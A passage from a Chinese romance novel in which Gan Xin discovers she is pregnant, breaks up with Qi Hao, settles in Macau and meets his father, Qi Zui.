庆幸的是,周波没有直接将甘歆带到老宅,而是安顿在附近的度假酒店里,走进去的时候直接刷的VIP黑卡,并将卡递给了甘歆。 “舟车劳顿,您先休息休息,这里点餐都是挂账的,甘小姐随意。” “谢谢。” “等您想去老宅的时候,打这里的快捷电话,说找我就可以了。” “麻烦周总了。” 不知道是不是航餐并不合胃口,甘歆突然觉得脚有点软,心脏也觉得有些空落落的,这个酒店的气味其实不难闻,甚至还有点清新的味道,但她总觉得不舒服,反胃的感觉越来越明显。 没等把东西放好,她就先快步走到卫生间里干呕了起来,连着好几下,只吐出了一些水,额头上都出了细密的汗。 这个劲过去了后,甘歆又觉得饿的发慌,速速打了内线电话订餐。 幸好在胃疼之前餐来了,她大口大口吃着,仿佛从来没吃得那么香过,直到碗里的最后一粒米吃完,才觉得有点不对劲。 自己的胃口什么时候变这么大了。 上次来姨妈好像是……她有些记不清,打开了手机看记录的日子。 一个半月多前。 甘歆实打实打了个激灵,身体没由来地发颤,手抖得都快拿不住手机了。 快速外卖了三种不同品牌的验孕棒,等待结果的时候她捏紧了手,指甲几乎要嵌进掌心里。 和时间有关的东西都很残忍,连委婉都不会,它会最直接地展示答案。 三个两条杠摆在洗手台上,甘歆往后跌了一步,下意识地却把手抚上了自己的肚子。 怎么会这样。 怎么会这样…… 怎么会在自己要探查齐灏真心的时候,来这么当头一棒。 眼睛不受控制地冒出了泪花,她孤注一掷地拨打了那八位的座机号码,当地接的是个嗓门巨大的男人,她灵光一闪又加上了自己所在城市的区号。 “对不起……您所拨打的电话是空号……” 最后一个不用亲自面对的机会都落了空,甘歆有些绝望,她慢慢走到房间里,卧倒在床上,渐渐蜷起了身体,目光却渐渐冷静了下来。 她好像突然找到了这段时间患得患失、疑神疑鬼又容易内耗的原因了。 甘歆翻了个身侧卧,自嘲地笑了一下。 她需要休息。 也需要一个清爽的脑袋,想想未来。 第70章 第70章甘小姐,已经六周了。…… 齐家的老宅并不在一个清净秀丽的地方,而是在一个村子里,并非洋气的大楼,更像是一栋民国建筑,只是比周围的房子大一些,门口多了个花园,这让甘歆很意外。 但下了车后,她就明白不一样在那里了。 在甘歆的印象里,富豪都爱深居简出,可她刚下车,就听到有人在和周波打招呼,虽然听不懂完整的白话,但也能感觉到对话里的亲昵,这是一种只有亲缘关系才会有的感觉。 “甘小姐见笑了,这里都是老爷的亲戚朋友。” 到了这里,周波连称呼都改了。 果然,这里是齐家人的城。 比起那些富豪冰冷冷的建筑,这里的生活气息几乎要溢出来,街边开着小店的人都效益盎然,这两三个凑在一起说话,那边还有一桌正在喝茶,见到周波都会打招呼,问一声齐老爷子好。 老宅的花园里有几张藤椅,还有张木桌,上面有个玻璃盘子,倒扣着玻璃杯,茶叶是放在铁盒里的那种,看起来随意又自然。 她原以为周波会带她上那坐,却没想到直接被领进了屋里。 这里的陈设充斥着老旧的气息,立着的摇头电风扇、四方桌和长条凳,连地砖都是小块的,纹路也很古早……很明显,这里的布置是齐老爷子的风格,和在北泽附近的那栋别墅完全不一样。 到了内堂,甘歆见到了穿着短袖盘扣褂衫的齐老爷子,她微微完了弯腰,轻声说:“董事长好。” “哎,”齐老爷子挥了个手,“在家里叫什么董事长,叫我齐叔就行。” 也不知道这句话戳中了她心里的哪根弦,她有些想笑。 甘歆最终还是没叫出口,只是轻声说:“不好意思,打扰您了。” “甘小姐是想现在看,还是先和老头子我喝杯茶?” “谢谢您,请让我现在去看一下吧。” 齐老爷子盯着她看了许久,久到甘歆以为他不会让他去看了,才发问:“甘小姐是想看到什么呢?” 接连的心事已经让她有些麻木,但她还是对着齐老爷子笑了笑,“您既然放了饵,我上钩了来看看,也算是各了所愿。” “看来你没有我想得那么成熟。” 甘歆面无表情,不置可否,头偏了过去。 “没想到,你到了这个年纪,还有真心,很难得。” “给您添麻烦了。”甘歆向齐赟微微欠了个身表达礼貌。 齐老爷子拿起面前的茶盏喝了一口,没再看她,“阿波。” 周波应了声,走到了甘歆的前面,“甘小姐这边请。” 木制的楼梯踩上去的声音闷重,齐灏的房间在二楼尽头,需要走过一个长长的走廊,走廊的一边都是联排的窗户,窗外尽是绿色,乔木在温热的南方总能生长得巨大。 到了门口,周波替她开了门锁就告辞了。 甘歆面对着一扇有些陈旧的木门,深呼吸了两口气,手搭在了门把上,迟迟没有拧开。 昨天的消息来得太突然,齐家在广粤的势力也实在太大,她不敢贸然去医院检查,就连昨天拆的包装,她都好好用塑料袋包了起来,扎好了口放进了行李箱里。 她确实没想好要怎么办,一点思路都没有。 如果这个房间能给她答案……就好了。 终于下定了决心,拧开把手,推开—— 屋子里的一切都很陈旧了,都是深褐色的老式家具,连书桌都是九十年代的那种样子。 齐灏的房间很干净,即使能看出很久没入住过,也纤尘不染,比酒店的摆设还干净。 她没有看到唐满说的那面墙,事实上,这个房间的墙面干干净净,连一副挂画都没有,甘歆好像松了一口气,她慢慢走到齐灏的书桌前,拉开了这张比看起来更重的木椅,坐上去后,习惯性 用后脚跟放在了椅腿之间的横杠上。 无意识间,她将两只手都放到了腹部,接着慢慢弯腰,直到侧脸贴到桌面,来回轻轻蹭了两下,木制的桌面没有想象得那么凉,但依旧生硬。 在和齐灏的关系里,甘歆好像一直扮演者上层角色,因为上层,所以很少主动,就好像被年龄的差距束缚住了一样,齐灏会不厌其烦地说着喜欢,表露他的感情,甘歆很少回应,几乎没有主动表露过。 可什么时候陷得那么深了呢?深到……愿意改变自己,抛下自我,来求证那份真心。 她又抬起了头来,向书架上看了一眼,许多书之间,好像夹着一个相框,甘歆直起身去拿,可捏在手里连看都不敢看,甘歆将相框倒扣在了书桌上。 她抿紧了唇,在即将伸手的时候电话响了—— “喂?” 电话里的齐灏问:“忙完了吗?” “还没,在等。” “谁这么大架子啊,”齐灏的声音里有着笑意,“敢让我们歆总等。” “多得很,”她也揶揄他,“我又不是你。” “你报名字,我想办法让他现在就去找你。” “明天的头条就是寰科太子爷色令智昏了。” “心甘情愿,”齐灏好像换了个地方,声音都清晰了些,“累不累?” 甘歆眨了眨眼睛,她向来对齐灏的温柔没什么免疫力,“不累,又不做什么,等人而已。” “我这边忙得差不多了,等着过两天去广粤找你,还没和你一起去过那。” “别——”甘歆下意识地说,“我忙完了就回来了,就几天。” 那边齐灏的声音顿了顿,“不希望我过去么?” “嗯……你挺忙的,”甘歆又换上了一副调笑的语气,“别管太严啊,让我浪.荡几天。” 齐灏也笑了,答应下来,“好,那你注意安全,随时联系我。” “嗯。” “甘歆,”齐灏在电话里叫了她的全名,又说:“我想你了,忙完了就回来吧。” 她眨了下眼睛,不知什么时候攒出的一滴泪掉落了下来,可语气正常,什么都听不出,“好,知道了。” 刚刚的那滴泪,正好落在相框正面,饱满的、晶莹的水珠。 在刚刚电话的过程中,甘歆无意识地就将相框翻了过来,真的是一张有些模糊的背影照…… 不同于唐满给她看的那张,这张照片里的女生扎了个高马尾,穿着深色的牛仔连衣裙,一双刚过脚踝的白袜,和黑色的平底皮鞋。 即使装束不同,甘歆也能确认,这是同一个人。 右下角的时间更是证明了这个猜测,这张照片,摄制于十二年前。 说着那么喜欢她的齐灏,心里真的有过别人。 甘歆突然觉得自己有点可笑,怎么就非得这么说呢,以前有过喜欢的人,这不是很正常么,为什么非得骗她呢? 她想不到理由的原因,是觉得自己只能去相信唐满所说的。 齐灏找上她,不过是在找一种感觉。 年纪相仿、性格相符,这个年轻的弟弟,利用她,弥补自己的情伤。 在过去的恋爱里,甘歆分手的时候总是很理性,能够将两个人不合的地方列出来,几乎是带着谈判的意思去和对方讲道理,除了想要分手的决心,没有额外的情绪。 她本以为,面对一个年轻的男人,会说得更加容易。 却实在没想到,竟然这么、这么难。 甘歆觉得自己实在是失败,活该自己不坚守独身主义,被齐灏一层又一层的谎言和行动欺骗,还说什么从来没骗过她,真的可笑至极。 原来他们这个圈子里的人,真的可以没有心的啊。 没有心,说什么都不会觉得有负担,做什么只要跟随欲念就好。 她的动作里连一丝发泄的意味都没有,将相框又插回了原位,站起来的时候将椅子又推了进去,站在门背后,回头再看了房间,看向那扇已经有些老旧的拱形玻璃窗…… 获得了最终的认知,确认齐灏和自己不是一个世界的。 她从来只是他的猎物而已,争夺、占据、玩弄。 吃干抹净,毫无能效之后,被抛弃。 她深呼吸了一口气,打开了门,走了出来。 甘歆是自己下楼的,路过内堂的时候齐老爷子还在喝茶,周波就站在边上,她对着他们的方向笑着点了个头,向外走去的时候周波好像要出来送,却被齐老爷子的手势给叫停了。 她从齐家老宅听到的最后一段对话是…… “年轻人有年轻人的决定,你就别去凑热闹了。” “好的,老爷。” 她在路边等出租车,没想到一辆奥迪停在了自己面前,“小姐,你刚刚是从齐家出来吗,去哪儿啊,这不好打车,我送送你。” “不用了,”甘歆清了清嗓子,“我在这等等就行。” “哎呀,这真不好打,那我把你送到大路上去好吧?” 甘歆拧不过,只好微笑着谢谢,“我就去路口的度假酒店。” “哦哦,好,原来是齐老爷的客人,那正好,我送您过去,不用麻烦啦,齐老爷也算对我们有恩啊,要不是……哎,算了算了,没什么好说的,上车吧。” 甘歆没听进去多少话,也懒得去问,她有更重要的事情要去做。 回到酒店,她快速地收拾好了东西,打了辆车离开,特意在市中心停下吃了个午饭,才换了辆车去火车站,买了张最快到南山的高铁票,卡着时间上了车。 半个小时候后,她到了南山。 再出关,就到了澳城。 看着折腾,其实都离得近,昨天在结果出来后,甘歆就通过邮件预约了一家私人医院,直接从关口打车过去。 一路奔波,想得就少。 直到到了医院门口,她才觉得脚步沉重。 甘歆捏了捏行李箱的拉杆,慢慢走了进去。 澳城的地面多以石块铺设,她没有穿高跟鞋,却觉得有些硌脚,硌得她每一步都心碎。 私立医院的医护都很温柔,抽血都小心翼翼,等待报告的时间她几乎不能思考。 “甘小姐?”长相甜美的护士走到她身边,将报告递给她,“您的报告。” “啊,谢谢。” 他们应该见得很多,一个人来做检查的,都不会开口说恭喜。 确认怀孕了。 胸腔里的心脏好像与自己就只剩了一条线连接,她有些不知所措。 “甘小姐,要不要再帮您安排个超声检查,主要确认一下位置和怀孕周期,”护士小姐声音放得很低,好像在与她说悄悄话,“这样好方便您做决定。” 甘歆点了点头。 这里的超声室和自己以前经历过的医院不太一样,洁净明亮,连遮挡的帘子都是粉色,医生会在做每一个动作前告知,涂凝胶了,现在准备看一下…… “您可以转过头来看看,”连超声医生都是温和的,“这个小小的就是。” 甘歆寻着声音侧过头去,看到那个几乎和小手指末端指节一半大小的半透的泡时,眼泪直接从眼睑溢了出来,她又将头转了回来,用手臂遮住了眼睛,哽咽着不知道对谁道歉,“对不起。” 医生轻柔地说:“您要不在这躺一会儿,报告我们会直接拿给医生,情绪稳定了后去诊室就好。” 甘歆几乎是咬着手臂点了点头,发不出一点声音,任由眼泪流淌。 她强压下情绪,又做了好几个深呼吸,坐起来后扯了旁边的纸巾擦掉了腹部的凝胶。 双手掩面,抹掉了泪痕,重新扎了一下头发,才走出超声室。 诊室里的墙面也是粉红色的。 医生是个看起来经验丰富的女士,微胖,虽然带着口罩依旧能够感觉到她带着些微笑,她将血液报告和超声报告同时放到了甘歆面前。 “甘小姐,已经六周了,着床挺好的,没什么异常。” 甘歆咬着口腔里的软肉,回想到了那次浴室,自以为是的安全期,还主动要求他不要出去…… “如果不考虑留下的话,最好在九周前做决定。 “还有我们也有义务提醒您,您今年已经35岁了,已经接近高龄,如果进行手术,可能会影响日后怀孕的概率,请您务必慎重决定。” 她呼吸一滞,情不自禁地咽了咽,抬头看向医生,眼神复杂。 医生的轻柔的语调没有变过,甘歆才发现,她说话的语气始终平静,好像早已看淡在这间诊室里发生的所有事,话里都是善意的提醒,可字字句句都是无情。 她问:“……手术,多久可以安排?” 医生的微笑好像嵌在了脸上,“明天就可以。” 70-80 第71章 第71章我想过我的小日 子,你能成全…… 来的时候仓促,酒店定得有些远,甘歆拖着行李箱在门口等车,刚刚医生的话历历在耳,最后告诉她如果做好了决定,明天直接来就可以。 澳城的夜晚有着独特的魅力,建筑染上了灯光,街边时不时有穿着礼服路过的,好像都在奔赴纸醉金迷的宴会。 酒店就在赌.场边上,但她不关心任何输赢。 进了房间,第一件做的事就是点餐。 好像自从知道并不是只有自己一个人需要能量后,甘歆对吃饭这件事都积极了起来。 她时不时会抚摸腹部,曾经对“孩子”的概念太模糊,想到的大多数都是在人群中的哭闹,还有追着都喂不着的饭,可现在有些不一样了,这个小生命就在肚子里。 严格来说,现在也只是一个小小的泡,没有意识,只有纯粹的生命力。 但她好像因为这个生命力而变得坚强,也变得柔软。 饭后她坐在靠窗的小沙发上,俯瞰楼下穿梭的车流,赌场的车流量惊人,来往都是豪车,她看见了库里南,也看见了迈巴赫,但她看不清那些下车的人的脸和表情,但脑子里已经有了具体的轮廓。 其实唐满说得对,只要自己装得过去,齐灏到底把她当什么,也不是很重要。 她可以拥有齐灏的血脉,或者以此为要挟成为名正言顺的齐太太,无论将来,他食之无味也好,他半路悔过也好,都能拥有一份对未来的生活保障,她也相信,这份保障将会无比丰厚。 除了丈夫的爱,她好像可以拥有所有。 爱? 甘歆自嘲地笑了一声,眼泪都震了出来,也是啊,他从来只谈喜欢,却不说爱,原来一切早就有迹可循,是自己入戏太深。 她试着像一个母亲一样,摸了摸自己的肚子,轻声问些不会有回答的问题。 “宝贝,你好啊,听得到我说话吗?我是你的……妈妈。” “你来得好仓促,是妈妈对不起你。” “……你想留下来吗,如果只有妈妈爱你的话?” 她越问越哽咽,眼泪跟流不尽似的。 就不应该开始,在知道他是齐灏的那刻,就应该逃开。 他那么多手段,玩弄一个女人,又能费多少精力? 甘歆将腿也收到了沙发上,头埋进膝盖抱紧了自己,泣不成声。 哭累了,就睡着了,再醒过来,也只是过去了二十分钟而已。 甘歆努力清了清嗓子,去卫生间洗了把脸,又拿热毛巾敷在眼睛上,她尝试说了说话,直到没什么鼻音,才拿起手机翻阅起来。 未接来电三个,好几个对话框有红点。 但没有齐灏的。 甘歆抿了抿嘴唇,遏制住了想哭的冲动,喝下半杯温水后,她给沈确打了电话。 现在不晚,沈确的声音却显得朦胧,好像呼吸都不太稳,她在电话里听到了另一个声音,应该是任婷的,甘歆有些尴尬,不知是不是打扰了。 “沈总,方便吗?” 甘歆明显听见了沈确对着边上小声说了句“别闹”,才对着电话说:“方便,你说。” “……我想请个长假。” 沈确那沉默了几秒,“多长?” “一年半。如果不行的话,我申请离——” “好,一年半,”沈确那边的声音稳了下来,依旧什么都没问,“薪水照发,时间不够到时候再说。” 甘歆的鼻子又热了,她不说,他也不问,顾及了她的体面。 “谢谢。” 她正想挂电话,沈确开了口,“准备去哪,想好了吗?” “没有。” “那你想好了告诉我一声,”沈确停顿了一下,“起码你需要帮助的时候,我知道往哪里去。” “谢谢沈总。” 挂电话前,她听见沈确叹了口气,好像在感叹他早已知道的结局。 甘歆已经不想哭了,她从包里拿出了两张报告,还有三个藏在行李箱里的验孕棒,每一项都在提示无可厚非的事实,她怀孕了。 看着自己平坦的腹部,她依旧很难想象以后这里会鼓起来的样子。 刚刚睡着的那二十分钟,甘歆做了一个梦,像藕节一样的胳膊,伸过来的手指都是嫩嫩的,握住了她的小手指,没有看到脸,但记住了那个柔软的触感,连小小的指甲掐过来,都是痒痒的感受。 原本甘歆以为,做这个决定会很难。 但现在晚上还没开始,她已经想好了。 她要把这个孩子生下来。 只是她的孩子,和齐家没有任何关系,她来做他的妈妈,也做他的爸爸。 物质上,她丝毫不怀疑自己的能力,但精神上父亲角色的空缺,她只能对她的小孩说抱歉,她会亲口告诉孩子,他也是有爸爸的,但是爸爸妈妈已经不在一起了,所以没办法共同抚养他。 再多的,就留到他长大之后再解释吧。 次日,她还是去了那家医院,告诉了那名医生自己的决定。 就当她以为医生依旧会保持职业微笑的时候,对方表情严肃起来,认认真真地问她:“你想好了吗,这不是玩具,而是会贯穿你整个人生的另一个生命。” 甘歆想好了,她这个年纪,经历了齐灏这么一遭,也不会再和别人有什么瓜葛了。 但这个孩子没有错,是上天赐给她的另一种陪伴,她又怎么忍心,将他扼杀掉呢? “医生,我想好了,”甘歆停顿了一下,“初期我还需要做什么检查吗,或者有什么需要补充的?” “我给你开一些叶酸、维生素、铁剂和钙,先吃一些,”医生似乎知道她不会选择在这里生产,“然后你自己找一家医院去建档。” “……好,麻烦了。” 这边给的药袋子是无纺布做的,甘歆取了药后出医院,才感觉到澳城这边的热度,她抬头看了看天空,清朗的蓝色,连云丝都没有,用力呼了一口气, 她找了家简餐店,要了色拉、牛排以及牛奶,刻意选了靠窗的位置。 明明是一个人,但她此刻却不觉得孤单了,她还有宝宝陪着,一边吃一遍心里念叨着,这个补充维生素、这个是蛋白质,这个……纯粹是你妈妈爱吃,心里这么想着,那些之前排解不开的情绪,好像也淡了些。 昨晚和沈确打完电话后,甘歆就关机了,一直到现在,点的餐都已经吃完了,她再次感慨自己胃口变大这件事,然后摸了摸肚子,自言自语:“你一定是个小馋猫。” 事实上,她一直在想,要怎么体面地面对齐灏,这个问题始终萦绕在她的脑子里,已经关机近12小时了,他应该已经有所感知了吧。 她看了看街边的匆匆行人,觉得对自己之前的定位还挺清晰的,过客。 如果替身发现自己是替身的话,那对方也没有隐瞒的必要了吧,他会露出本来的面目,冷漠绝情,然后离开,这也是甘歆目前想要的结果。 深呼了一口气,甘歆打开了手机,接着放到了桌上。 因为开了静音,手机在桌上震了很久才停下。 未接来电提醒的短信排了一排,齐灏的对话框往上拉了好几屏都没结束。 他看着好像拼命在问,你在哪,怎么了,发生什么事了,回我消息……等等等等。 可看向屏幕的,甘歆的眼睛,显得那么冷。 开机五分钟都没到,齐灏的电话就打来了,甘歆简单整理了一下情绪,按下了接听。 “我到广粤了,你在哪?!” “齐灏……”刚一发声,她就发现自己的声音其实是虚的。 “你在哪,发个定位给我好吗,怎么一晚上没回消息,遇到什么事了吗?” “……齐灏。”她试图让他冷静下来。 “我到了,我来了,你别怕,你把定位发给我,我一个小时之内肯定到。” “齐灏,”甘歆的嘴唇抖了抖,“我觉得这段时间我们的状态不太对,我 想了想,这些问题没办法解决的,我们还是算了吧。” “你在哪!!?”齐灏第一次对她吼出声,“求求你告诉我你在哪……” “不用找我,我也不会见你,”她笑了笑,“但你放心,我不会做伤害自己的事,你也要好好的。” “甘歆!!你在哪里?!你至少报个区域给我,行吗?” “这段时间给你添麻烦了,尤其新闻的事,对不起。” “别跟我扯这些,你在哪,你在哪……你在哪?!说啊!” “你们太高贵了,我攀不起,我想过我的小日子,你能成全我吗?” “……甘歆,我求求你,你告诉我你在哪里好不好?” “短期内我不会出现,真的不用找我,”挂电话之前,她还是忍不住说了句,“你好好照顾自己。” 电话里的人大声喊着她的名字,依旧在问她在哪里,挂之前所有传来的话都变成了“不要”“不要”“求求你”,她狠着心挂掉了电话。 甘歆以为自己不会哭的,回过神来时已经泪流满面。 她低头掩面,压抑着自己的哭声。 真的……狼狈死了。 她最终还是给齐灏留了脸面,没有揭穿他心底藏的秘密。事实上,她也不想听他解释,没告诉她的事情,总归有他隐瞒的理由,她不想知道,无论什么,反正都和她没关系了。 她根本没带护照在身上,也不着急建档,这边的产检也还算仔细,甘歆打算在澳城呆一两个月,接着就直接回家。 就是不知道……怀着个孩子回家,爸妈会是什么反应。 澳城的天气真好啊,温暖潮湿,还有海风。 甘歆将酒店的房间退了,长租了一个临海的公寓,五十来平,生活用品都齐全,还有专门的管家和保洁,楼下的公交车站能到那家私立医院,周边配套也健全,除了租金贵一些、房子小一些,几乎没什么缺点。 搬进去的时候是晚上,她躺在床上,飘窗台外是星空和海,混在一起的墨色。 她轻声说:“宝宝,妈妈会陪着你的。” 临海公寓的玻璃是隔音的,甘歆听不见海面上传来的巨浪,像极了一个发了疯的男人。 齐灏后悔极了,明明在甘歆出发前就觉得有些不对劲的,怎么就没跟着她一起来,怎么就没让周泽陪着回来,结果人到了广粤,直接蒸发了。 他回去质问过齐老爷子,也问过老宅村里的人有没有见过她。 得到的所有答案都是否定的。 可越是这样,他越是肯定,甘歆的离开,一定与他们有牵连。 就好像很多、很多年前……他母亲消失时那样。 所有人都说没见过她,但她确实不见了。 他整个人急得没有方向,心里乱得不行。 十五年前,他8岁不到,那时对母亲的离开无能为力,现在他已22岁了,怎么同样的戏码还要再来一遍? 第72章 第72章齐灏消失了,一直都没出现过…… 澳城临海,夏季不那么热,如今处暑也过去了,风的温度也降下来了些,甘歆也渐渐习惯了澳城的生活。 得益于沈确的帮助,她依旧有钱可支配,甘歆在上周谢了谢他,也告诉了他自己在澳城,生活得很好,让他不要担心,也请他保密。 他也和甘歆同步了一些情况,北泽村的拆迁年底全部完成,等明年拿到批文后,就会开始盖楼,她特意问了李大娘的情况,说是现在在养老护理院里当个宝护着,还说城建局的领导也去专门拜访过,没有人敢轻慢她了。 寰科对晟宇的第一笔投资款已经开始使用,办公室里也逐渐换上了沈确心心念念洲海的那些硬件,至于南城航站楼……项目意外搁置了,主要是开发方案还有待改进,是寰科主动提出来的,对方本着安全精良的原则,也同意了。 最后沈确对甘歆说了声抱歉,因为她的缺席,市场总监的位置没法一直空着,他请了一个行业内很有经验的老法师来坐镇,执行上还是由张然主导,互相配合得还不错,就是张然问过他几次自己的情况,都被以外派谈项目的理由搪塞过去了。 一晃大半个月过去,再听这些事,都好像是上辈子。 难得甘歆八卦了起来,问他和任婷发展得怎么样,沈确含糊其辞,但语气听起来还不错。 沈确还带了个八卦给她,她的高中同学,梁越再婚了,有一次正好路过甘歆的小区那碰到,他俩聊了两句,甘歆感叹道真是不容易,能够接受带娃的应该也不多。 说到这里,她下意识地用手抚了抚肚子,沉默了下去。 两个人无论怎么聊,都绕不开齐灏。 沈确先问她想听吗,甘歆说随便,他就说那他就随便说说。 齐灏上周带着几个人去了洲海,听说是直接进的唐满的办公室,特意挑了个开盘的时间,他就这么当着唐满的面操作,两个小时不到,把洲海砸跌停了,第二天依旧。 唐满当然也不是省油的灯,第三天直接找了几个操盘的人坐在办公室等,他们跟过家家似的把钱当橘子皮砸,她做多他就做空,对着干。 第四天唐满认栽,把所有的人都请出了办公室。 他们两个单独聊了什么没人知道。 接着齐灏就消失了,到今天都没出现过。 甘歆听的时候咬着手指,沈确说完了,她才发现左手食指的指节上多了个牙印。 沈确问,要不要帮她找找,甘歆拒绝了。 他又问,担不担心,甘歆没有回答。 她只记得沈确的那句话,“没人知道齐灏葫芦里卖的什么药,他要是发疯,整个盘都跟着玩完。” 甘歆顾不上这些,只问了对晟宇有没有影响。 沈确说没有,晟宇的行业地位因为寰科提升了不少,而且有他们的资金支撑着,问题不大。 她说那就好,不然该心生愧疚了。 沈确再三与她确认了身体状况和安全,甘歆说一切都好,这里很舒适,怀孕的事没提。 甘歆和父母也保持着三四天打一通电话的频率,二老都好,她也放心。 这会儿她穿着宽大的棉麻套头衬衫,松垮的休闲裤,踩着平底休闲鞋,正在阳台上晾衣服,整个人不见过去的精致,更显慵懒松散。 期间她去检查了一次,医生说其他都挺好,就是有些缺血,铁剂还是要继续补充,甘歆心里很高兴。 她的孕反不太严重,大多数时候就只有干呕嗜睡,其他胸闷头痛的情况倒是没发现,她从来不吝夸赞宝宝,一直夸他又乖又体贴,会照顾妈妈。 这两个夸赞的形容词有的时候会让甘歆觉得恍惚,好像……在夸齐灏一样。 想到这里,手上的动作就停了。 她进了屋子,坐在已经放置了软垫的飘窗上,看着远处的海上泛起的阵阵白浪,心思也跟着纠结了起来。 齐灏消失了……他会去哪里呢? 是在找她吗,还是别的。 和他相处的两年多以来,他们从来没有像现在这样失联过,不管他是用齐灏的身份,还是景页的身份,他们始终有联系。 确实是担心的。 付出了真心的人,怎么可能那么容易就收回来。 她深深地叹了口气,即使不会去联系,但还是希望是他没事。 分手而已,体验而已,阵痛而已,会好的。 谁二十多岁的时候没有因为分手难受过呢? 甘歆回了回神,家里的挂面不多了,正好去楼下买些新鲜的蔬菜,她给自己准备了个软竹编织的篮子,买东西的时候正好可以往里放。 楼下的这家超市是一对内地夫妇开的,她很庆幸不用再努力去辨别对方说的白话是什么内容,她来的时候总会和他们聊两句,平日里人不多,夫妇俩也不放什么背景音乐,就挂了个电视机再墙上播新闻,她买单的时候也会扫两眼。 她拿了一袋挂面,一盒里脊肉,还有三四颗奶白菜和两根胡萝卜,正准备去收银台结账。 前面还有个人在结,甘歆就排着队,百无聊赖地抬头看新闻。 有几个关键词跑进了她的耳朵里……寰科……交接……百分百…… 当地新闻也说着白话,甘歆听不懂,却又实在想弄懂,只能拜托老板帮他翻译一下,原来是寰科掌舵人完成了最后一轮的交接,原董事长正式卸任,由新一代承接。 新闻播得太快,甘歆又着急,直接开口问老板:“有齐灏的消息吗,叫齐——灏——” 老板和老板娘都愣了愣,摇了摇头,说没注意。 寰科新一代掌舵人,是谁呢……齐灏在这场围剿博弈当中,究竟赢了没。 甘歆的心被高高提起,又重重放下。 只好结了账道谢离开,出了门后,被人从身后喊住了,是刚刚在她前面结账的人。 “喂,靓女,你知齐灏?” 这人戴着顶巴拿马草帽,身上穿着蓝白的花衬衫,裤子倒是纯正的靛蓝色,他戴着墨镜,甘歆看不清他的脸,只好小心翼翼地问道:“不好意思,我不会说白话,您是?” “哦哦,抱歉抱歉,”他笑了笑,一口白牙,嘴边的括号纹显出了些他的年纪,切换了流利的普通话,“我是问,你认识齐灏吗?寰科的那个。” 甘歆没点头也没摇头,“您认识他?” “何止认识,简直冤家,”他要叹了口气摇头,但嘴角的笑意没变过,“他是我儿子,你是?” 她吓了一跳,手里的东西往下一坠,被对面的人眼疾手快托住了,他笑得愈发厉害,“你也觉得我儿子可怕啊?他也欺负你?” 甘歆哭笑不得,又不知道该怎么回答,“哦……我们是朋友。” “别逗我了,我儿子那个性格怎么可能会有朋友,你是他女朋友吧?” “……不是。” “那就是情.人?” “不是不是。” “那只能是前女友了。” 甘歆无语,这人一句正经话没有,她不想多聊了,转身就要走,却又被他拦下,“抱歉抱歉,我无意冒犯,但我从来没有人见过有人会问我儿子的消息,有点好奇所以……” “这位大哥,我现在要回家,没空听你编故事。”甘歆侧了侧身体快步离开。 “哎,哎靓女,如果你有齐灏消息的话,能否联系我一下?”他追了过来,刚刚因为站定的关系没发现他的腿有点跛,这会儿小跑倒是很明显,“我留个联系方式给您?” “您自己的儿子需要让别人来联系?”甘歆一点也不客气。 被说的人挠了挠头,露出了不好意思的笑,丝毫没掩盖自己的情绪,“他不会主动联系我的,我也找不到他。” 甘歆微微皱了皱眉,突然想到了件事,“他有没有可能在您南城山郊的别墅?” 对面的男人愣了下,随即大笑开来,“你试探我呢,我那栋房子在北泽附近。” 他又沉默了一会儿,恍然大悟,“你就是之前齐灏带去那栋房子的人?” 坏了,还以为是讹钱的,没想到真是齐灏他爸。 但眼下更重要的却不是这件事,甘歆有些着急了,“您也联系不到齐灏?” 听见她说了您,齐罪知道甘歆确认了自己的身份,长叹出一口气来,“嗯……我一周给他打一次电话,但这几个星期他都没接,”他又想起来,“你是不是去过别墅那边?” 甘歆点了点头。 “我儿子很喜欢你啊,”齐罪露出了欣慰的表情,“他很少有这么像人的时候,毕竟跟着我爸那样的人,能有点活人气都不容易。” “我朋友说他消失了,去洲海找了唐满之后就没出现过。” “唐满?”齐罪有些意外,“老唐的私生女?我不是很清楚,十几年前我就不再管这些事了,现在就是个闲人。” “您知道他会去哪里吗?” “他啊……”齐罪揉了揉眼睛,话也说得随意,“如果不是去找他妈了,就是在他小时候呆过的小破楼附近,他也就这两个地方能呆一呆了。” 不知是不是怀着孩子母性更强烈了些,甘歆听着有些心疼,觉得一直在这站着也不是事,便开口问道:“齐先生,要不我们找个地方坐坐,我请您吃个午饭?” “行啊,我请你吧,不然哪天让阿灏知道了,还得跟我不乐意。” 没走远,就在超市旁边的捞面店。 “管家说,那天是齐灏把你抱进去的,是真的吗?” “……嗯,那天我脚受伤了。” 她本来以为会被苛责,毕竟齐老爷子的态度很明确,她和他们不是一个世界的人,原本就不应该在一起,却没想到面前的这个男人笑得很高兴。 “哈哈哈,老头子该气死了,大号练废了,小号也是个情种。” 甘歆突然想到之前齐灏说的切大小号,不禁觉得有些好笑,嘴角跟着弯了弯,随即咬了咬嘴唇摇了摇头,“他应该有个喜欢了很久的人,但不是我。” 齐罪睁了睁眼睛,“我不明白?” 甘歆低头吃面,这个问题她没法回答,也不知道该怎么回答,转而将话题引开了,“您……没和太太在一起吗?” 对面的男人愣了愣,将嘴里的东西咽下,再找了张纸巾擦了擦嘴,神色不似刚刚潇洒,露出了一股悲伤来,声音都低了几个度,“我太太过世很久了。” 甘歆愣住了,也放下了筷子,郑重低说:“抱歉,无意冒犯。” “没关系,”他叹了口气,“就是可怜阿灏,不到八岁就没人陪着他长大了。” 第73章 第73章你不要小狗了,但是小狗真的…… 甘歆和齐罪没有聊太多,一碗面的功夫,互相留了个联系方式,只说如果有齐灏的消息互相告知一声,可道了别后,竟然还在往同一条路上走,直到发现竟然住在同一栋公寓楼里。 原来齐罪也是来这里休假的,他把这种行为称之为流浪,又问甘歆什么时候走,她只说下个月,度完假后就回。 进电梯后甘歆是紧张的,幸好齐罪的所在楼层不高,等他出去了,甘歆才真正放松下来。 人生真是充满意外,没想到在澳城能碰到齐灏的父亲。 他看起来一点儿都不像齐家人,不严肃、不克己、不守礼,真像他说的,是个自由散漫的闲人。 回到公寓,甘歆将刚买的东西都放好,便随手拿了之前买的孕期相关的书,在飘窗的软垫上坐下,半透的卷帘放了一半下来,恰巧遮住直射的阳光,远处的海面泛着粼光,还能看到一条一条的白浪。 书只翻了两页,就看不进去了。 刚刚交换联系方式的时候,齐灏的父亲直接告诉了自己他的名字,齐罪,罪孽的罪,他说他原来叫什么已经不记得了,这是老爷子之后给他改的,他认了,还觉得挺好听,说的时候没半点不好意思。 他说……齐灏八岁之后便没有人陪他长大了。 他母亲什么时候过世的没提,但齐灏八岁后,应该就没见过他母亲了。 